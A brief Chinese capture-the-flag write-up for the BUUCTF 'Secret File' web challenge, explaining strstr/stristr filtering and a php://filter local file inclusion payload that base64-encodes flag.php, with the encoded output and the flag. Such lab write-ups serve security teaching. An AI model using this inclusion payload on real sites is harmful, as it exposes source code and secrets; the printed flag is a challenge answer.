Buuctf-web-[极客大挑战 2019]Secret File
打开后,查看网页源码
发现了一个php。直接搜索。
然后抓包。
又发现了一个php,接着搜索。
看if语句,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。
stristr() 函数查找字符串在另一个字符串中第一次出现的位置。
php://filter(文件包含漏洞利用)
首先这是一个file关键字的get参数传递,
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=index.php表示目标文件为index.php。
扩展:
"php://filter"是一种原封装器,设计用于数据流打开时的筛选过滤应用。
这对以一体式(all-in-one)文件函数非常有用,类似readfile(),file(),file_get_contens(),在数据流内容读去之前没有机会应用其他过滤器。
“php://filter”目标使用以下的参数作为它路径的一部分,复合过滤链能够在一个路径上指定.
所以,这里可以用php伪协议来读取flag.php
构造playload: ?file=php://filter/convert.base64-encode/resource=flag.php
得到了一个base64 PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NmFkOTdkZmYtOTdjOC00MDhiLWFhMGUtNmVlOWFlMDgxNjI3fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
得flag
flag{6ad97dff-97c8-408b-aa0e-6ee9ae081627}